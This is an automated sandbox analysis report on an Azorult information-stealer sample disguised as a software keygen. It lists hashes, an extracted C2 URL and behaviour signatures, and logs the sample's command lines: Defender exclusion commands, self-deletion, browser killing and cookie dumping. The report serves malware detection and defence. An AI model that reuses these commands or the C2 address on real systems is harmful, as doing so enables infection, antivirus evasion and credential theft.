Overview

overview

10

Static

static

ﱞﱞﱞ�...ﱞﱞ

windows10_x64

10

ﱞﱞﱞ�...ฺฺ

windows10_x64

10

ﱞﱞﱞ�...ﱞﱞ

windows10_x64

ﱞﱞﱞ�...ﱞﱞ

windows10_x64

10

ﱞﱞﱞ�...ﱞﱞ

windows7_x64

10

Analysis

  • max time kernel
    60s
  • max time network
    59s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    08-04-2021 04:37

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Opera_Job_Management_3_2_1_key_code_generator.exe

  • Size

    5.3MB

  • MD5

    6cce1f8b01409af58339fc8a47d8826c

  • SHA1

    6c7c886acb54a10032320990a5b013e33bef43f9

  • SHA256

    9d8c23275ed905513ff3b307c4332a187a43a15433c6f55856e0c2a0be5304e6

  • SHA512

    9ca23aed22b44b88f9445ebdb84f24785faadc422a5a7e372e73268f8fc1498b7c80d57b175516c6632f2fb08b59720a58dfbb471b7f17697390d8fbf01d1062

Score
10/10
azorultdiscoveryevasioninfostealertrojan

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

    trojaninfostealerazorult
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

    evasion
  • Executes dropped EXE 12 IoCs
  • Loads dropped DLL 8 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 8 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 5 IoCs
  • Modifies registry class 9 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 3 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
    1⤵
      PID:888
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s UserManager
      1⤵
        PID:1236
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Browser
        1⤵
          PID:2580
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2624
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s WpnService
          1⤵
            PID:2616
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
            1⤵
              PID:2400
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
              1⤵
                PID:2376
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                1⤵
                  PID:1820
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s SENS
                  1⤵
                    PID:1340
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Themes
                    1⤵
                      PID:1144
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                      1⤵
                        PID:1044
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                        1⤵
                          PID:64
                        • C:\Users\Admin\AppData\Local\Temp\Opera_Job_Management_3_2_1_key_code_generator.exe
                          "C:\Users\Admin\AppData\Local\Temp\Opera_Job_Management_3_2_1_key_code_generator.exe"
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4092
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2864
                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
                              keygen-pr.exe -p83fsase3Ge
                              3⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:2296
                              • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                                "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
                                4⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                • Suspicious use of WriteProcessMemory
                                PID:4316
                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                                  C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
                                  5⤵
                                  • Executes dropped EXE
                                  PID:4408
                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
                              keygen-step-1.exe
                              3⤵
                              • Executes dropped EXE
                              PID:4068
                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
                              keygen-step-3.exe
                              3⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:1428
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
                                4⤵
                                • Suspicious use of WriteProcessMemory
                                PID:4476
                                • C:\Windows\SysWOW64\PING.EXE
                                  ping 1.1.1.1 -n 1 -w 3000
                                  5⤵
                                  • Runs ping.exe
                                  PID:4544
                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
                              keygen-step-4.exe
                              3⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:2188
                              • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe
                                "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
                                4⤵
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of WriteProcessMemory
                                PID:4348
                                • C:\Users\Admin\AppData\Local\Temp\V1YHWJUG7Z\multitimer.exe
                                  "C:\Users\Admin\AppData\Local\Temp\V1YHWJUG7Z\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
                                  5⤵
                                  • Executes dropped EXE
                                  • Maps connected drives based on registry
                                  • Enumerates system info in registry
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4604
                                  • C:\Users\Admin\AppData\Local\Temp\V1YHWJUG7Z\multitimer.exe
                                    "C:\Users\Admin\AppData\Local\Temp\V1YHWJUG7Z\multitimer.exe" 1 3.1617856665.606e8899018d9 101
                                    6⤵
                                      PID:5088
                                      • C:\Users\Admin\AppData\Local\Temp\V1YHWJUG7Z\multitimer.exe
                                        "C:\Users\Admin\AppData\Local\Temp\V1YHWJUG7Z\multitimer.exe" 2 3.1617856665.606e8899018d9
                                        7⤵
                                          PID:1604
                                          • C:\Users\Admin\AppData\Local\Temp\dsq03c3mn3y\cpyrix.exe
                                            "C:\Users\Admin\AppData\Local\Temp\dsq03c3mn3y\cpyrix.exe" /VERYSILENT
                                            8⤵
                                              PID:5192
                                              • C:\Users\Admin\AppData\Roaming\1.exe
                                                C:\Users\Admin\AppData\Roaming\1.exe
                                                9⤵
                                                  PID:5908
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\PVdOGxsjDOXOnoXJAGsGiW\svchost.exe" -Force
                                                    10⤵
                                                      PID:4232
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\1.exe" -Force
                                                      10⤵
                                                        PID:6168
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\PVdOGxsjDOXOnoXJAGsGiW\svchost.exe" -Force
                                                        10⤵
                                                          PID:6440
                                                      • C:\Users\Admin\AppData\Roaming\2.exe
                                                        C:\Users\Admin\AppData\Roaming\2.exe
                                                        9⤵
                                                          PID:2236
                                                      • C:\Users\Admin\AppData\Local\Temp\4bfkgjfjccw\KiffApp1.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\4bfkgjfjccw\KiffApp1.exe"
                                                        8⤵
                                                          PID:5184
                                                        • C:\Users\Admin\AppData\Local\Temp\z0iro2zwr34\x4kfjkyuqum.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\z0iro2zwr34\x4kfjkyuqum.exe" /VERYSILENT
                                                          8⤵
                                                            PID:5404
                                                            • C:\Users\Admin\AppData\Local\Temp\is-1MENE.tmp\x4kfjkyuqum.tmp
                                                              "C:\Users\Admin\AppData\Local\Temp\is-1MENE.tmp\x4kfjkyuqum.tmp" /SL5="$30210,140785,56832,C:\Users\Admin\AppData\Local\Temp\z0iro2zwr34\x4kfjkyuqum.exe" /VERYSILENT
                                                              9⤵
                                                                PID:5448
                                                                • C:\Users\Admin\AppData\Local\Temp\is-6MN8O.tmp\apipostback.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\is-6MN8O.tmp\apipostback.exe" adan adan
                                                                  10⤵
                                                                    PID:2304
                                                              • C:\Users\Admin\AppData\Local\Temp\isg1dgvdm11\Setup3310.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\isg1dgvdm11\Setup3310.exe" /Verysilent /subid=577
                                                                8⤵
                                                                  PID:5944
                                                                  • C:\Users\Admin\AppData\Local\Temp\is-BH6HT.tmp\Setup3310.tmp
                                                                    "C:\Users\Admin\AppData\Local\Temp\is-BH6HT.tmp\Setup3310.tmp" /SL5="$20300,138429,56832,C:\Users\Admin\AppData\Local\Temp\isg1dgvdm11\Setup3310.exe" /Verysilent /subid=577
                                                                    9⤵
                                                                      PID:2192
                                                                      • C:\Users\Admin\AppData\Local\Temp\is-F6FQU.tmp\Setup.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\is-F6FQU.tmp\Setup.exe" /Verysilent
                                                                        10⤵
                                                                          PID:1708
                                                                          • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe
                                                                            "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe"
                                                                            11⤵
                                                                              PID:5784
                                                                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                12⤵
                                                                                  PID:3896
                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe
                                                                                "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe"
                                                                                11⤵
                                                                                  PID:5904
                                                                                • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe
                                                                                  "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe"
                                                                                  11⤵
                                                                                    PID:5184
                                                                                  • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe
                                                                                    "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe"
                                                                                    11⤵
                                                                                      PID:5876
                                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                                        "C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"
                                                                                        12⤵
                                                                                          PID:4444
                                                                                      • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Three.exe
                                                                                        "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Three.exe"
                                                                                        11⤵
                                                                                          PID:6028
                                                                                          • C:\Users\Admin\AppData\Local\Temp\3PTERD9X9H\multitimer.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\3PTERD9X9H\multitimer.exe" 0 306065bb10421b26.04333812 0 103
                                                                                            12⤵
                                                                                              PID:6520
                                                                                            • C:\Users\Admin\AppData\Local\Temp\ILDTKJOARK\setups.exe
                                                                                              "C:\Users\Admin\AppData\Local\Temp\ILDTKJOARK\setups.exe" ll
                                                                                              12⤵
                                                                                                PID:6588
                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-982F0.tmp\setups.tmp
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-982F0.tmp\setups.tmp" /SL5="$204C0,1845714,55808,C:\Users\Admin\AppData\Local\Temp\ILDTKJOARK\setups.exe" ll
                                                                                                  13⤵
                                                                                                    PID:6648
                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lilalmixx.exe
                                                                                                "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lilalmixx.exe"
                                                                                                11⤵
                                                                                                  PID:5864
                                                                                                  • C:\Windows\SysWOW64\dllhost.exe
                                                                                                    "C:\Windows\System32\dllhost.exe"
                                                                                                    12⤵
                                                                                                      PID:1540
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Sta.bin
                                                                                                      12⤵
                                                                                                        PID:5024
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\System32\cmd.exe
                                                                                                          13⤵
                                                                                                            PID:4932
                                                                                                      • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe
                                                                                                        "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"
                                                                                                        11⤵
                                                                                                          PID:6076
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-VFGAL.tmp\LabPicV3.tmp
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-VFGAL.tmp\LabPicV3.tmp" /SL5="$104CE,136934,53248,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"
                                                                                                            12⤵
                                                                                                              PID:5540
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-RDP1T.tmp\alpATCHInO.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-RDP1T.tmp\alpATCHInO.exe" /S /UID=lab214
                                                                                                                13⤵
                                                                                                                  PID:6724
                                                                                                            • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe
                                                                                                              "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"
                                                                                                              11⤵
                                                                                                                PID:3956
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-4QJS1.tmp\lylal220.tmp
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-4QJS1.tmp\lylal220.tmp" /SL5="$304A0,298214,214528,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"
                                                                                                                  12⤵
                                                                                                                    PID:5148
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-QBA9L.tmp\ysAGEL.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-QBA9L.tmp\ysAGEL.exe" /S /UID=lylal220
                                                                                                                      13⤵
                                                                                                                        PID:6684
                                                                                                                  • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\tskhoni.exe
                                                                                                                    "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\tskhoni.exe"
                                                                                                                    11⤵
                                                                                                                      PID:5464
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\tskhoni.exe
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\tskhoni.exe"
                                                                                                                        12⤵
                                                                                                                          PID:2464
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\agfaccy3dnw\app.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\agfaccy3dnw\app.exe" /8-23
                                                                                                                  8⤵
                                                                                                                    PID:2224
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\ua3g4hh5svv\zyzu2cc5q41.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\ua3g4hh5svv\zyzu2cc5q41.exe" /ustwo INSTALL
                                                                                                                    8⤵
                                                                                                                      PID:6060
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 6060 -s 648
                                                                                                                        9⤵
                                                                                                                        • Program crash
                                                                                                                        PID:5840
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 6060 -s 660
                                                                                                                        9⤵
                                                                                                                        • Program crash
                                                                                                                        PID:4512
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 6060 -s 688
                                                                                                                        9⤵
                                                                                                                        • Program crash
                                                                                                                        PID:5624
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 6060 -s 736
                                                                                                                        9⤵
                                                                                                                        • Program crash
                                                                                                                        PID:4876
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 6060 -s 888
                                                                                                                        9⤵
                                                                                                                        • Program crash
                                                                                                                        PID:5924
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 6060 -s 928
                                                                                                                        9⤵
                                                                                                                        • Program crash
                                                                                                                        PID:5480
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 6060 -s 1140
                                                                                                                        9⤵
                                                                                                                        • Program crash
                                                                                                                        PID:4352
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 6060 -s 1124
                                                                                                                        9⤵
                                                                                                                        • Program crash
                                                                                                                        PID:5176
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\51wklfifubx\om01s52wg4s.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\51wklfifubx\om01s52wg4s.exe" /quiet SILENT=1 AF=756
                                                                                                                      8⤵
                                                                                                                        PID:4492
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\kuj541j5vin\IBInstaller_97039.exe
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\kuj541j5vin\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                                                        8⤵
                                                                                                                          PID:2308
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-GNKT9.tmp\IBInstaller_97039.tmp
                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-GNKT9.tmp\IBInstaller_97039.tmp" /SL5="$103DC,12311824,721408,C:\Users\Admin\AppData\Local\Temp\kuj541j5vin\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                                                            9⤵
                                                                                                                              PID:2428
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                "cmd.exe" /c start http://leatherboot.xyz/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039
                                                                                                                                10⤵
                                                                                                                                  PID:5636
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-4NLS0.tmp\{app}\chrome_proxy.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-4NLS0.tmp\{app}\chrome_proxy.exe"
                                                                                                                                  10⤵
                                                                                                                                    PID:5676
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\uatjl2bp1rn\vpn.exe
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\uatjl2bp1rn\vpn.exe" /silent /subid=482
                                                                                                                                8⤵
                                                                                                                                  PID:5368
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-UJ6K0.tmp\vpn.tmp
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-UJ6K0.tmp\vpn.tmp" /SL5="$103DE,15170975,270336,C:\Users\Admin\AppData\Local\Temp\uatjl2bp1rn\vpn.exe" /silent /subid=482
                                                                                                                                    9⤵
                                                                                                                                      PID:5400
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\xzbify4bfko\ieqbr5dfuqd.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\xzbify4bfko\ieqbr5dfuqd.exe"
                                                                                                                                    8⤵
                                                                                                                                      PID:5568
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\xzbify4bfko\ieqbr5dfuqd.exe"
                                                                                                                                        9⤵
                                                                                                                                          PID:6048
                                                                                                                                          • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                            ping 1.1.1.1 -n 1 -w 3000
                                                                                                                                            10⤵
                                                                                                                                            • Runs ping.exe
                                                                                                                                            PID:5244
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\4XCW8ZS3OC\setups.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\4XCW8ZS3OC\setups.exe" ll
                                                                                                                                  5⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                  PID:4704
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-79CDA.tmp\setups.tmp
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-79CDA.tmp\setups.tmp" /SL5="$401F8,1845714,55808,C:\Users\Admin\AppData\Local\Temp\4XCW8ZS3OC\setups.exe" ll
                                                                                                                                    6⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Loads dropped DLL
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                    PID:4748
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Version.exe
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Version.exe"
                                                                                                                                4⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Drops file in Program Files directory
                                                                                                                                • Modifies registry class
                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                PID:4760
                                                                                                                                • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Program Files\unins0000.vbs"
                                                                                                                                  5⤵
                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                  PID:4924
                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                    "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
                                                                                                                                    6⤵
                                                                                                                                    • Loads dropped DLL
                                                                                                                                    • Modifies registry class
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                    PID:5064
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"
                                                                                                                                4⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Modifies system certificate store
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:4964
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                  5⤵
                                                                                                                                    PID:4472
                                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                      taskkill /f /im chrome.exe
                                                                                                                                      6⤵
                                                                                                                                      • Kills process with taskkill
                                                                                                                                      PID:4916
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
                                                                                                                                  4⤵
                                                                                                                                    PID:2432
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe" >> NUL
                                                                                                                                      5⤵
                                                                                                                                        PID:732
                                                                                                                                        • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                          ping 127.0.0.1
                                                                                                                                          6⤵
                                                                                                                                          • Runs ping.exe
                                                                                                                                          PID:5092
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe
                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"
                                                                                                                                      4⤵
                                                                                                                                        PID:5100
                                                                                                                                • \??\c:\windows\system32\svchost.exe
                                                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                  1⤵
                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                  • Modifies registry class
                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                  PID:3628
                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                    C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                    2⤵
                                                                                                                                    • Checks processor information in registry
                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                    • Modifies registry class
                                                                                                                                    PID:3828
                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                  1⤵
                                                                                                                                    PID:4800
                                                                                                                                  • C:\Windows\system32\browser_broker.exe
                                                                                                                                    C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                    1⤵
                                                                                                                                      PID:4840
                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                      1⤵
                                                                                                                                        PID:4580
                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                        1⤵
                                                                                                                                          PID:4404
                                                                                                                                        • C:\Windows\system32\AUDIODG.EXE
                                                                                                                                          C:\Windows\system32\AUDIODG.EXE 0x428
                                                                                                                                          1⤵
                                                                                                                                            PID:5272
                                                                                                                                          • C:\Windows\system32\msiexec.exe
                                                                                                                                            C:\Windows\system32\msiexec.exe /V
                                                                                                                                            1⤵
                                                                                                                                              PID:3212
                                                                                                                                              • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                C:\Windows\syswow64\MsiExec.exe -Embedding 01DB99C26F000E3FCACA2464431CD420 C
                                                                                                                                                2⤵
                                                                                                                                                  PID:4612
                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                1⤵
                                                                                                                                                  PID:5712
                                                                                                                                                • C:\Windows\system32\browser_broker.exe
                                                                                                                                                  C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                  1⤵
